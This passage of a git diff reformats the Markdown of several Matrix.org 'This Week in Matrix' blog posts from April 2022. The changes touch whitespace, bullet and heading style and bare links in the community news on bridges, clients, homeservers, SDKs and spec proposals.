that this release drops support for Node 12, making the minimum version Node 14. -> +> > Once again, thanks to the wider Matrix community for filing bugs and submitting PRs, it's very much appreciated! +> > ![](/blog/img/3882c3311d21a7280c13d02c246ab3c551e7b336.png) ### matrix-appservice-bridge 4.0.0 [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) says - + > More updates! This week the bridge library itself gets a major update. We've made a few breaking changes, notably we now expect target homeservers to at least be Matrix v1.2 compatible. Also, this release brings the new "Provisioning and Widgets API" which allows developers to start creating HTTP APIs for their bridges which work for both provisioning mode (shared secret tokens) and widget API style (authenticating via Matrix OpenID token sharing). This stuff is still a little experimental, but it's starting to power our new experiments in the bridge world. -> +> > You can check out the release [here](https://github.com/matrix-org/matrix-appservice-bridge/releases/tag/4.0.0) ### matrix-appservice-kakaotalk ([website](https://src.miscworks.net/fair/matrix-appservice-kakaotalk/)) @@ -109,14 +115,14 @@ A Matrix-KakaoTalk puppeting bridge. [Fair](https://matrix.to/#/@fair:miscworks.net) announces > Media messages, both from or to KakaoTalk, are now supported! The biggest exceptions are inbound files & stickers. The latter may be a hard sell to get working, due to how KT manages stickers, but I'll look into it some more before giving a concrete answer. -> +> > The bridge is also now responsive to disconnects, like when you log in from another KakaoTalk desktop client (since the bridge mimics the desktop client, and KT only allows one desktop client to be logged in at a time!). Luckily, not all KakaoTalk APIs rely on the same connection that chatting does, meaning that some functionality can continue to work even when "disconnected". The bridge now takes advantage of this, meaning that profile-management commands (currently just the `list-friends` command) will work even if you get disconnected from chats for whatever reason. -> +> > The bridge is drawing ever closer to "good enough" status... Please give it a try if curious! -> +> > --- > Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> Issue page: https://src.miscworks.net/fair/matrix-appservice-kakaotalk/issues +> Issue page: ### matrix-appservice-irc ([website](https://github.com/matrix-org/matrix-appservice-irc)) @@ -127,18 +133,18 @@ Node.js IRC bridge for Matrix > Heyo, we released a hotfix release for the IRC bridge this week. This fixed a rather nasty > regression where the bridge would kick **everyone** from the Matrix side when a Matrix ban > list is updated. People who aren't using the new ban lists feature don't need to upgrade. -> -> Please check out https://github.com/matrix-org/matrix-appservice-irc/releases/tag/0.33.1 for more details +> +> Please check out for more details ## Dept of Clients 📱 [Michael](https://matrix.to/#/@michael:perthchat.org) says > The perthchat.org team has created their own Android client, a promotional fork of the popular Element Android client! -> -> For more details checkout: -> https://news.perthchat.org/perthchats-new-android-app/ -> https://play.google.com/store/apps/details?id=im.perthchat.app +> +> For more details checkout: +> +> ### Nheko ([website](https://nheko-reborn.github.io)) @@ -148,13 +154,14 @@ Desktop client for Matrix using Qt and C++17. > 1.0 is a big number and a step not taken lightly. But Nheko has been in development for half a decade and we think it is time to take a step forward! As such we worked hard to fix readability issues in the app. Your messages should now be readable on any theme, because we send the first half as white text and the second half as black text (thank you, rrogalski for the contribution). For accessibility reasons this is enabled by default. We also added an improved typing indicator. Sometimes it is hard to notice when a message is too long, as such we gradually adjust the background color the longer the message gets. It also helps a lot, if you have a bad theme and can't read the text against the background color. Just enter a few characters and the background will change, so the messages should become readable. But that is not all! We all know some people have a harder time seeing colors than others. So for accessibility we also slowly rotate the screen, so that even if your display is monochrome, you don't miss out. Please see the attached video for a demo or check out our release candidates [here](https://matrix.neko.dev/_matrix/media/r0/download/neko.dev/GsEuaoEXokYtZUStAmxrRcOs) and [here](https://github.com/Nheko-Reborn/nheko/tree/march-2022). > -> {{ youtube_player(video_id="3yDRqFm_UVs") }} -> +> {{ youtube_player(video_id="3yDRqFm_UVs") }} +> > Before this month we also rewrote the room creation dialogs to be less confusing. We now have separate dialogs for direct chats and group chats, which should cut down confusion between the options by a lot. You can also now edit the topic and name of a room inline and Malte added a jump to bottom button. On mobile you can also now drag to the sides to reply. Last but not least, you can now knock on rooms from Nheko using `/knock` or if an invite failed because you were not allowed to join a room and you can add a reason to room joins, leaves, invites, knocks and everything. Some of those features require the server to support Matrix v1.1, so make sure you update your servers to use them. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) announces > Excuse the blurry picture, but Bubu just sent me this and I just had to share it! +> > ![](/blog/img/gCWjWPOAOZtZFNmxqdpRRXPz.jpg) ### Neochat ([website](https://invent.kde.org/network/neochat)) @@ -164,10 +171,11 @@ A client for matrix, the decentralized communication protocol [Tobias Fella](https://matrix.to/#/@tobiasfella:kde.org) says > NeoChat now has a KRunner plugin thanks to work done by Nico (not the one from Nheko 🙂). This allows plasma users to search for and open matrix rooms directly from their desktop. You will be able to enable it from the KRunner settings after the next release. -> +> > Snehit changed the room preview to no longer show markdown characters, fixing a few situations where this would be unexpected. -> +> > On the end-to-end encryption side, we're currently working on implementing device verification. +> > ![](/blog/img/5f1a770b7904d73d22b298155c2133411954e7d5.png) ### Fractal ([website](https://gitlab.gnome.org/GNOME/fractal)) @@ -177,8 +185,8 @@ Matrix messaging app for GNOME written in Rust. [Julian Sparber](https://matrix.to/#/@jsparber:gnome.org) reports > This week I have something really exciting to report. We moved Fractal-next to the main development branch. This means that we now have nightly flatpak builds[1], so users can already try out the new version of Fractal without having to build it from source. This will also give use much more feedback and many more bug reports, hopefully not too many :) Note that this isn't a release and the software should still be considered unstable. -> -> [1] https://gitlab.gnome.org/GNOME/fractal#development-version +> +> [1] ### Element ([website](https://element.io)) @@ -187,12 +195,12 @@ Everything related to Element but not strictly bound to a client [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) announces > It’s April Fool’s day but there will be no tricks here; We’re far too excited to share all our good work with you 😉 -> +> > **Message Threading** -> +> > * Exciting news for Threads; Next week we’re releasing a public beta! -> -> - It’ll be opt-in, so don’t forget to head to Settings and join in if you haven’t already. +> +> * It’ll be opt-in, so don’t forget to head to Settings and join in if you haven’t already. > * We’re still working on perfecting notifications, so none of your messages are missed. > * The team is also working hard at improving the stability of Threads, ahead of the release next week. > * As always, please let us know your thoughts and feedback! @@ -204,12 +212,13 @@ Secure and independent communication, connected via Matrix. Come talk with us in [Kegan](https://matrix.to/#/@kegan:matrix.org) says > Coming soon to an Element-Web near you... +> > ![](/blog/img/UGBzdHPsODgfVKnBZojKSgZe.png) [Danielle](https://matrix.to/#/@daniellekirkwood:one.ems.host) announces > **In labs (you can enable labs in settings on develop.element.io or on Nightly)** -> +> > * Voice rooms are now known as video rooms! We’ve landed some new designs to help make the experience more coherent, and bring them out of ‘prototype’ status. > * Threads! From next week you’ll be able to turn on threads in all versions of Element but for a sneak preview you can head to Labs in Develop or Nightly and access Message Threading from there. > * We’re continuing to work on our updated search experience: we are going to be merging the people and room search dialogs into the new search experience and adding filtering. Expecting work to start early next week. @@ -223,7 +232,7 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * Our latest release is a hotfix (1.8.10) resolving a crash that occurred when uploading a photo via the camera in the timeline. > * Following a team discussion and input from all areas we’ve decided to change how we launch new languages in Element. We’ll soon be moving to an automatic rollout model meaning, if there’s any amount of a language available, and it’s set as your preference, you’ll see it in the app. -> - Previously we’d wait until hitting the 80% mark and then manually push the translation. This leaves too much room for us to forget, or restricts access to those languages hanging around the 70% mark… +> * Previously we’d wait until hitting the 80% mark and then manually push the translation. This leaves too much room for us to forget, or restricts access to those languages hanging around the 70% mark… > * Other things we’ve been working on this week include; improving the new user experience, and starting to prototype with the layout for the app. > * We released spaces on iOS this week! Where you could only view spaces before, you can now create and manage them from your phone. We have more improvements planned for the next release. @@ -246,8 +255,8 @@ Matrix powered stream overlay for OBS, to integrate live chat in your favorite ( [f0x](https://matrix.to/#/@f0x:pixie.town) announces > matrix-streamchat got it's first proper release, after some battletesting by another streamer :D -> https://git.pixie.town/f0x/matrix-streamchat/releases/tag/0.0.2 -> hosted instance is also available at https://streamchat.pixie.town +> +> hosted instance is also available at ### Matrix Highlight ([website](https://github.com/DanilaFe/matrix-highlight)) @@ -266,7 +275,7 @@ A set of Rust library crates for working with the Matrix protocol. Ruma’s appr [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) says > This week, we -> +> > * updated [the space-hierarchy rooms chunk type to use a decicated join-rule type](https://github.com/ruma/ruma/pull/1028) > * added [support for more transitional extensible-event types](https://github.com/ruma/ruma/pull/1009) > * removed [the origin field from PDUs](https://github.com/ruma/ruma/pull/1035) @@ -279,10 +288,10 @@ Matrix Client-Server SDK for Rust [Jonas Platte](https://matrix.to/#/@jplatte:flipdot.org) announces > In the last two weeks, -> -> * __Support for [vodozemac](https://github.com/matrix-org/vodozemac) as an alternative to libolm has been [merged](https://github.com/matrix-org/matrix-rust-sdk/pull/494), and enabled by default__ 🎉 +> +> * **Support for [vodozemac](https://github.com/matrix-org/vodozemac) as an alternative to libolm has been [merged](https://github.com/matrix-org/matrix-rust-sdk/pull/494), and enabled by default** 🎉 > * A [bug](https://github.com/matrix-org/matrix-rust-sdk/issues/505) around invitations to previously-left rooms was [fixed](https://github.com/matrix-org/matrix-rust-sdk/pull/547) -> +> > There was also a decent amount of internal cleanup / developer experience work, so if you previously tried to contribute but ran into weird IDE bugs or code inconsistencies, make sure to check back. The same goes for sliding sync, which has been making decent progress – stay tuned! ## Dept of Events and Talks 🗣️ @@ -290,11 +299,11 @@ Matrix Client-Server SDK for Rust [andybalaam](https://matrix.to/#/@andybalaam:matrix.org) reports > I'm doing a [talk about Matrix](https://accu.digital-medium.co.uk/session/matrix-is-a-distributed-real-time-database/) at the [ACCU Conference](https://www.accu.org/conf-main/main/) on Saturday 9th April. Recordings of talks will be available soon after the conference, and tickets are still available to be there live in person or online! Here's the talk summary: -> +> >> The Matrix network provides messaging (like WhatsApp or Slack) that offers all the features you expect, but without centralised control: it's an open standard, and anyone can run a server. The servers link together, so you can talk to other people even if they use a different server (kind of like email). -> +> >> In the first half of this session, we will explore the basics of the protocol: making simple HTTP requests to send and receive messages, and discuss some of the interesting distributed-systems issues that make writing a server exciting. -> +> >> In the second half we will explore the fact that messaging is only one potential use of this network, and look into some examples of other real-time use cases that are in active development, taking note of how these use cases benefit from the real-time and distributed nature of the network. ## Dept of Interesting Projects 🛰️ @@ -306,14 +315,15 @@ An image gallery for Matrix [MTRNord (they/them)](https://matrix.to/#/@mtrnord:nordgedanken.dev) reports > There was some silence lately on this, but activity is picking back up. -> +> > Mainly, the project is getting rewritten. Why? Well, I learned from the issues and ran into issues with the framework used. There are going to be various changes to the architecture (like no more SSR, no nextjs, pwa support and more). -> -> Feel free to follow https://github.com/MTRNord/matrix-art/pull/121 for progress. -> +> +> Feel free to follow for progress. +> > Another big thing that's going to change is that I am working on a complete redesign. While I am still fairly early in the iterations, I wanted to share the first art direction Matrix Art is going to go. The main changes are that I try to have an art language which distinguishes it from the other proprietary players, as well as compensating for the fact that Matrix Art has a much lower volume of images on it's feed. Please be aware that this is way before the first round of polish. :) -> +> > If you want to connect with matrix-art please join the room: [#matrix-art:nordgedanken.dev](https://matrix.to/#/#matrix-art:nordgedanken.dev) or follow/star the github project :) +> > ![](/blog/img/4d7a1357bc58a20717b2be02d29d2f47003707d0.png) ## Dept of Ping 🏓 @@ -321,6 +331,7 @@ An image gallery for Matrix Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -337,6 +348,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|maescool.be|1422| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| diff --git a/content/blog/2022/04/2022-04-08-this-week-in-matrix-2022-04-08.md b/content/blog/2022/04/2022-04-08-this-week-in-matrix-2022-04-08.md index 6fbc18802..6454fe98c 100644 --- a/content/blog/2022/04/2022-04-08-this-week-in-matrix-2022-04-08.md +++ b/content/blog/2022/04/2022-04-08-this-week-in-matrix-2022-04-08.md @@ -19,39 +19,44 @@ image = "https://matrix.org/blog/img/SIAWlJEXnavQwKDBIsqIArIy.png" [Matthew](https://matrix.to/#/@matthew:matrix.org) announces -> https://arewep2pyet.com is finally here as a tracker for our progress on P2P Matrix +> is finally here as a tracker for our progress on P2P Matrix ## Dept of Spec 📜 [TravisR](https://matrix.to/#/@travis:t2l.io) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. -> -> +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> +> > ### MSC Status -> +> > **Merged MSCs:** +> > * *No MSCs were merged this week.* -> +> > **MSCs in Final Comment Period:** +> > * [MSC3700: Deprecate plaintext sender key](https://github.com/matrix-org/matrix-spec-proposals/pull/3700) (merge) > * [MSC3666: Bundled aggregations for server side search](https://github.com/matrix-org/matrix-spec-proposals/pull/3666) (merge) -> +> > **New MSCs:** +> > * [MSC3767: Time based notification filtering](https://github.com/matrix-org/matrix-spec-proposals/pull/3767) > * [MSC3765: Rich text in room topics](https://github.com/matrix-org/matrix-spec-proposals/pull/3765) -> +> > ### Spec Core Team +> > In terms of Spec Core Team MSC focus for this week, we've been largely looking at proposals which are at or near FCP in an effort to get them through the last stages of the process. We're also thinking about what the next release (v1.3) looks like and when we'll end up putting it out into the world. If you have MSCs which you'd like included, please stop by the [#sct-office:matrix.org](https://matrix.to/#/#sct-office:matrix.org) on Matrix with your suggestions - if they're near enough, we'll try to get them in. -> +> > ### Random MSC of the week -> -> The script has elected [MSC3391: Removing account data](https://github.com/matrix-org/matrix-spec-proposals/pull/3391) as the random MSC this week. It's a small but interesting MSC which helps clean up account data on the server when it's no longer needed, though how this sort of removal gets represented to clients can be a challenge. It's currently missing an implementation if someone is looking for a medium complexity contribution this weekend 😉 -> +> +> The script has elected [MSC3391: Removing account data](https://github.com/matrix-org/matrix-spec-proposals/pull/3391) as the random MSC this week. It's a small but interesting MSC which helps clean up account data on the server when it's no longer needed, though how this sort of removal gets represented to clients can be a challenge. It's currently missing an implementation if someone is looking for a medium complexity contribution this weekend 😉 +> > ### The Chart -> +> > So many MSCs are in the open state, which is why we're continually looking at merging MSCs which are ready to go. -> +> +> > ![](/blog/img/dc062205d4d694caa56e5951caf78f366a4107c9.png) ## Dept of Servers 🏢 @@ -63,9 +68,9 @@ Synapse is a Matrix homeserver implementation developed by the matrix.org core t [Brendan Abolivier](https://matrix.to/#/@babolivier:element.io) reports > This week, we've released [Synapse 1.56](https://matrix.org/blog/2022/04/05/synapse-1-56-released)! It includes only a couple of new features but quite a few bug fixes and internal improvements. One of the main changes included in this version is that Synapse will now refuse to start if configured with open registration with no verification (e.g. email, recaptcha, etc). This is an attempt at reducing the likelihood of spam across the federation, as most cases of abuse we've observed over time usually involves the attacker(s) finding homeservers with open registration and automatically creating a lot of accounts on them in order to evade sanctions. -> +> > This version of Synapse also deprecates the groups/communities feature of Matrix. This is a feature we introduced back in 2017, and was the predecessor of Matrix spaces. But now that it has been mostly replaced by spaces, we have decided to retire this feature, which we thank dearly for its 4 years of good and loyal service to the federation. -> +> > Read all about this, and more, in the [release announcement](https://matrix.org/blog/2022/04/05/synapse-1-56-released) on the Matrix.org blog! 🙂 ### Dendrite / gomatrixserverlib ([website](https://github.com/matrix-org/dendrite)) @@ -75,11 +80,11 @@ Second generation Matrix homeserver [neilalexander](https://matrix.to/#/@neilalexander:dendrite.matrix.org) announces > This week we released [Dendrite 0.8.0](https://github.com/matrix-org/dendrite/releases/tag/v0.8.0), which is primarily a feature release, and then [Dendrite 0.8.1](https://github.com/matrix-org/dendrite/releases/tag/v0.8.1) which fixes an emergency bug. It's also a recommended upgrade if you are running a Dendrite deployment. It includes: -> +> > * Support for presence has been added -> -> - Presence is not enabled by default -> - The `global.presence.enable_inbound` and `global.presence.enable_outbound` configuration options allow configuring inbound and outbound presence separately +> +> * Presence is not enabled by default +> * The `global.presence.enable_inbound` and `global.presence.enable_outbound` configuration options allow configuring inbound and outbound presence separately > * Support for room upgrades via the `/room/{roomID}/upgrade` endpoint has been added (contributed by [DavidSpenler](https://github.com/DavidSpenler), [alexkursell](https://github.com/alexkursell)) > * Support for ignoring users has been added > * Joined and invite user counts are now sent in the `/sync` room summaries @@ -90,12 +95,12 @@ Second generation Matrix homeserver > * `/send_join` and `/state` responses will now not unmarshal the JSON twice > * The stream event consumer for push notifications will no longer request membership events that are irrelevant > * Appservices will no longer incorrectly receive state events twice -> +> > Our sytest compliance numbers are now: -> +> > * Client-server APIs: 83% > * Server-server APIs: 95% -> +> > As always, join us in [#dendrite:matrix.org](https://matrix.to/#/#dendrite:matrix.org) for more news and discussion. ## Dept of Bridges 🌉 @@ -107,17 +112,17 @@ A multi purpose multi platform bridge, formerly known as matrix-github [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) says > ### Matrix-Hookshot: The one with the widgets release -> +> > Hello webhook fans! As teased last week, configuration widgets have landed in hookshot! [1.4.0](https://github.com/matrix-org/matrix-hookshot/releases/tag/1.4.0) now contains all you need to setup your very own webhooks without having to leave the comfort of your GUI. The plan is for widgets to be greatly expanded over the new few releases to support more services. Eventually, this work is going to propagate out to other matrix.org bridgey projects 🌉. -> +> > The full feature list for this release looks a bit like: -> +> > * Add support for configuring generic webhooks via widgets. ([#140](https://github.com/matrix-org/matrix-hookshot/issues/140)) > * Show the closing comments on closed GitHub PRs. ([#262](https://github.com/matrix-org/matrix-hookshot/issues/262)) > * Webhooks created via `!hookshot webhook` now have their secret URLs sent to the admin room with the user, rather than posted in the bridged room. ([#265](https://github.com/matrix-org/matrix-hookshot/issues/265)) > * Automatically link GitHub issues and pull requests when an issue number is mentioned (by default, using the # prefix). ([#277](https://github.com/matrix-org/matrix-hookshot/issues/277)) > * Support GitLab release webhook events. ([#278](https://github.com/matrix-org/matrix-hookshot/issues/278)) -> +> > Update away, and let me know how you get on. ### matrix-appservice-kakaotalk ([website](https://src.miscworks.net/fair/matrix-appservice-kakaotalk/)) @@ -127,20 +132,21 @@ A Matrix-KakaoTalk puppeting bridge. [Fair](https://matrix.to/#/@fair:miscworks.net) reports: > A Matrix-KakaoTalk puppeting bridge. -> +> > Many updates this week! New features include: +> > * Mentions & replies, both incoming & outgoing -> * Small exception: Matrix->KT replies don't yet work in KT "open channels" yet. +> * Small exception: Matrix->KT replies don't yet work in KT "open channels" yet. > * Ability to create a portal by inviting a KT puppet to a DM -> * Note that this currently only works for KT direct chat channels that already exist & have been active recently. +> * Note that this currently only works for KT direct chat channels that already exist & have been active recently. > * Connection resilience between the Python and Node components of the bridge -> * i.e. If the Node component ever exits & restarts, the Python component will reconnect to it automatically. This helps both with deployment (since it allows the components to be started in any order) and crash tolerance (since a Node crash & restart no longer requires a manual restart of the Python component) +> * i.e. If the Node component ever exits & restarts, the Python component will reconnect to it automatically. This helps both with deployment (since it allows the components to be started in any order) and crash tolerance (since a Node crash & restart no longer requires a manual restart of the Python component) > * Clear warnings when receiving a KT message that the bridge doesn't yet support -> +> > At this point, the bridge should be fairly usable now. Very soon I'll open a Matrix-bridged KT channel to act as a public stress-test! -> +> > Discussion: [#matrix-appservice-kakaotalk:miscworks.net](https://matrix.to/#/#matrix-appservice-kakaotalk:miscworks.net) -> Issue page: https://src.miscworks.net/fair/matrix-appservice-kakaotalk/issues +> Issue page: ### Heisenbridge ([website](https://github.com/hifi/heisenbridge/)) @@ -149,21 +155,21 @@ Heisenbridge is a bouncer-style Matrix IRC bridge. [hifi](https://matrix.to/#/@hifi:vi.fi) reports > Heisenbridge roundup! -> +> > [Heisenbridge](https://github.com/hifi/heisenbridge/) is a bouncer-style Matrix IRC bridge. -> +> > Release v1.11.0 🥳 -> +> > * Fixed retry behavior on startup to wait for HS startup > * Ignore TAGMSG messages from IRC server > * Fixed HTML messages not working as commands > * Fixed room aliases in messages dropping the message completely > * Upgrade to Mautrix 0.15 -> +> > Just your typical bug fix release but this release also breaks support for homeservers not supporting the "v3" API path so if you run Synapse 1.47 or older the bridge will not start. Sorry. -> +> > Go and get some spring cleaning from [GitHub](https://github.com/hifi/heisenbridge/releases), [PyPI](https://pypi.org/project/heisenbridge/) or [matrix-docker-ansible-deploy](https://github.com/spantaleev/matrix-docker-ansible-deploy)! -> +> > Thanks! ## Dept of Clients 📱 @@ -173,10 +179,10 @@ Heisenbridge is a bouncer-style Matrix IRC bridge. [freaktechnik](https://matrix.to/#/@freaktechnik:humanoids.be) reports > [Thunderbird](https://www.thunderbird.net/) is a free open-source email, calendar & chat app. -> +> > The latest Thunderbird beta finally has Matrix support enabled by default. [Get Thunderbird beta](https://support.mozilla.org/kb/thunderbird-beta) now to try it out. > There have been many improvements to the Matrix implementation since the last update, including: -> +> > * Almost complete end-to-end encryption support > * Support for displaying formatted messages > * .well-known home server discovery @@ -192,7 +198,7 @@ Heisenbridge is a bouncer-style Matrix IRC bridge. > * Threads Beta went into the RC! > * Looking at a module system for extending functionality - if you have modules we haven’t talked about, come by [#element-dev:matrix.org](https://matrix.to/#/#element-dev:matrix.org) to let us know. > * In labs (you can enable labs in settings on develop.element.io or on Nightly) -> * Work on video rooms continues, and we’re exploring how we can make them feel more native. +> * Work on video rooms continues, and we’re exploring how we can make them feel more native. ### Syphon ([website](https://syphon.org)) @@ -201,15 +207,15 @@ Chat with your privacy and freedom intact [0x1a8510f2](https://matrix.to/#/@0x1a8510f2:0x1a8510f2.space) says > Syphon is a Matrix client with heavy emphasis on privacy and ease of use; currently in open alpha. -> +> > Hi all 👋. -> +> > We released [`0.2.13`](https://github.com/syphon-org/syphon/releases/tag/0.2.13) this week mainly fixing an annoying bug that could cause messages sent while a configured proxy server was down to be re-sent multiple times once the proxy came back online. If you use a proxy with Syphon, this update is highly recommended! -> +> > In addition, this release will only show the option to use hidden read receipts if the feature is supported by your server. -> +> > Finally, a range of translation updates and improvements are included in this release. -> +> > More changes are coming soon, including a (currently work-in-progress) [implementation](https://github.com/syphon-org/syphon/pull/660) of [MSC2228](https://github.com/matrix-org/matrix-spec-proposals/pull/2228) (self destructing events). As far as we know, we're on track to be the first user-facing implementation of this MSC, putting Syphon on the bleeding edge of Matrix! ### Nheko ([website](https://nheko-reborn.github.io)) @@ -219,9 +225,9 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > Thanks to the awesome polyjuice client, Nheko now supports MSC3700, which slightly improves privacy in encrypted rooms. It also lead to us fixing issues with the secure symmetric secret storage, where some clients use a different base64 encoding than recommended in the spec, which could make unlocking the secrets with a recovery key or passphrase fail. And we also improved the key queries on initial login, which would sometimes fail to_device messages with a warning, that the device is unknown. -> +> > As a small feature, you can now close the currently open room using Ctrl-W, spaces are not treated as DMs under some circumstances anymore, you should get a less confusing error message than 500 when entering an invalid alias now and lots of fixes to the translations. -> +> > Thank you, LorenDB, Apurv and Mikaela for the contributions! ### Hydrogen ([website](https://github.com/vector-im/hydrogen-web)) @@ -247,7 +253,7 @@ Secure and independent communication for Android, connected via Matrix. Come tal [benoit](https://matrix.to/#/@benoit.marty:matrix.org) reports -> * Release candidate 1.4.11 is currently available on the PlayStore if you are a tester. Should be pushed to production next Monday! F-Droid publication is in progress too. Learn more about the full release content here: https://github.com/vector-im/element-android/releases +> * Release candidate 1.4.11 is currently available on the PlayStore if you are a tester. Should be pushed to production next Monday! F-Droid publication is in progress too. Learn more about the full release content here: > * Add banner to timeline when location sharing is running. Live Location Sharing (a.k.a. LLS) is still a work in progress and not available in the Element app yet. > * Improved unit test coverage (especially around login with MXID) > * Improved how threads look in the main timeline @@ -265,18 +271,20 @@ A Social Annotation Tool Powered by Matrix [gleachkr](https://matrix.to/#/@gleachkr:matrix.org) reports > Since last time, we've made a lot of small quality-of-life improvements, but a few changes that stand out are: -> +> > 1. We've improved support for offline PWA usage. > 2. We've improved caching of space contents, reducing the number of times that we need to hit the spaceHierarchy endpoint and improving performance. > 3. We've moved to a more in-the-spirit-of-the-spec way of handling hidden annotations: these are now represented by rooms with an `m.space.parent` event, and no correpsponding `m.space.child` event in the resource-space. > 4. We've added a modal for viewing image messages at full-size. -> +> > Number 4 works nicely with my teaching-assistant-bot (built with matrix-bot-sdk, mathjs, and chartjs), which helps me visualize information about student activity. -> +> > [MSC3752 - Markup Locations for Text](https://github.com/opentower/matrix-doc/blob/text-markup/proposals/3752-markup-locations-for-text.md), has also filled out quite a bit! Implementation coming soon hopefully. -> +> > As always, if you'd like to learn more, or talk about the future of social annotation at matrix, come join us at [#opentower:matrix.org](https://matrix.to/#/#opentower:matrix.org)! +> > ![](/blog/img/qzBVghyBSvTuDSGmiVXPBstt.png) +> > ![](/blog/img/dnROyyWgsCIsxyvLgfpOemsi.png) ### Matrix Highlight ([website](https://github.com/DanilaFe/matrix-highlight)) @@ -285,9 +293,10 @@ A decentralized and federated way of annotating the web based on Matrix. [Daniel](https://matrix.to/#/@daniel:matrix.danilafe.com) announces -> Matrix highlight saw some "under the hood" changes this week, in particular a refactor to rely less on the Chrome/Firefox extension API. This should make it possible (in theory, and with some more work) to run Matrix Highlight on pages without installing anything! Aside from the obvious, I think that there are additional use cases opened up by this change; one such case I have in mind is as a commenting system on a site (a la cactus comments, but with the ability to highlight page snippets!). -> +> Matrix highlight saw some "under the hood" changes this week, in particular a refactor to rely less on the Chrome/Firefox extension API. This should make it possible (in theory, and with some more work) to run Matrix Highlight on pages without installing anything! Aside from the obvious, I think that there are additional use cases opened up by this change; one such case I have in mind is as a commenting system on a site (a la cactus comments, but with the ability to highlight page snippets!). +> > In the process of all of this, I've spent some time running Matrix Highlight in Firefox. I've encountered no issues during this time, so it seems like the tool is usable from FF, too. +> > ![](/blog/img/SIAWlJEXnavQwKDBIsqIArIy.png) ## Dept of SDKs and Frameworks 🧰 @@ -303,8 +312,9 @@ Multiplatform Kotlin SDK for Matrix > Yes, that means Trixnity can be used to implement a matrix server! > We also made some progress to make the client module (with all the high level logic) multiplaform. This is the only module, which does not support Kotlin/Native and Kotlin/JS yet. > There are many other features (like client-side notifications!), which has been added. See the changelog for more details: -> +> > features/improvements: +> > * clientserverapi-server: new module for server-side REST endpoints of the Client-Server-API (Server-Server-API will follow soon) > * olm: libolm is bundled into trixnity-olm jars > * client: push notification support (push rules are evaluated) @@ -315,8 +325,9 @@ Multiplatform Kotlin SDK for Matrix > * client: public access to keys > * clientserverapi-model: allow custom field in pusher data > * core: introduce BaseEventContentSerializerMappings -> +> > bugfixes: +> > * client: remove direct room, when other user leaves room > * client: change varchar length to support MariaDB > * clientserverapi-client: first sync after pause without timeout @@ -327,19 +338,30 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) says: -> An easy to use bot library for the Matrix ecosystem written in Python. https://matrix.to/#/#simplematrixbotlib:matrix.org -> -> #### Version [v2.6.3](https://github.com/KrazyKirby99999/simple-matrix-bot-lib/releases/tag/v2.6.3) Released! -> #### 2022-04-06 5f54f69 -> ##### Notes: +> An easy to use bot library for the Matrix ecosystem written in Python. +> +> #### Version [v2.6.3](https://github.com/KrazyKirby99999/simple-matrix-bot-lib/releases/tag/v2.6.3) Released +> +> #### 2022-04-06 5f54f69 +> +> ##### Notes +> > * The command matcher now has support for case-insensitive matches. -> ##### Additions: -> * Add case insensitive option to command matcher +> +> ##### Additions +> +> * Add case insensitive option to command matcher +> > ##### Modifications +> > * Update Pillow Dependency to version 9.0.1 -> ##### Removals: +> +> ##### Removals +> > * None +> > ##### Deprecations +> > * None ### Polyjuice ([website](https://gitlab.com/polyjuice)) @@ -349,10 +371,10 @@ Elixir libraries related to the Matrix communications protocol. [uhoreg](https://matrix.to/#/@hubert:uhoreg.ca) announces > Polyjuice Client Test is a testing tool for Matrix clients. Since the last TWIM update, -> +> > * two new tests have been added: key history sharing (MSC3061) and no plaintext sender key (MSC3700). > * more clients endpoints have been implemented or stubbed. This has improved compatibility with some Matrix clients, and reduced noise in the logs. -> * the deployment at https://test.uhoreg.ca/ now automatically runs the latest version from git. This Matrix-based continuous deployment is powered by another personal side-project, which will be revealed in the future. +> * the deployment at now automatically runs the latest version from git. This Matrix-based continuous deployment is powered by another personal side-project, which will be revealed in the future. > * the UI is now significant less ugly (unless you hate purple, in which case you may find it more ugly). > * [#polyjuice:uhoreg.ca](https://matrix.to/#/#polyjuice:uhoreg.ca) now exists for discussing anything related to the Polyjuice project diff --git a/content/blog/2022/04/2022-04-14-this-week-in-matrix-2022-04-14.md b/content/blog/2022/04/2022-04-14-this-week-in-matrix-2022-04-14.md index 3f6f7f628..436654280 100644 --- a/content/blog/2022/04/2022-04-14-this-week-in-matrix-2022-04-14.md +++ b/content/blog/2022/04/2022-04-14-this-week-in-matrix-2022-04-14.md @@ -18,9 +18,9 @@ image = "https://matrix.org/blog/img/JxJtnmpHJUXSCxSKFfLLSDXS.png" [cel](https://matrix.to/#/@cel:fosdem.org) says -> * Gained v9 room support on `next` branch: https://gitlab.com/famedly/conduit/-/merge_requests/257 -> - Binaries available here: https://gitlab.com/famedly/conduit/-/blob/next/DEPLOY.md#installing-conduit -> - [v9 rooms](https://spec.matrix.org/v1.2/rooms/v9/) enable private rooms to allow access to members of a Space or other room without a separate invite. +> * Gained v9 room support on `next` branch: +> * Binaries available here: +> * [v9 rooms](https://spec.matrix.org/v1.2/rooms/v9/) enable private rooms to allow access to members of a Space or other room without a separate invite. ### Synapse 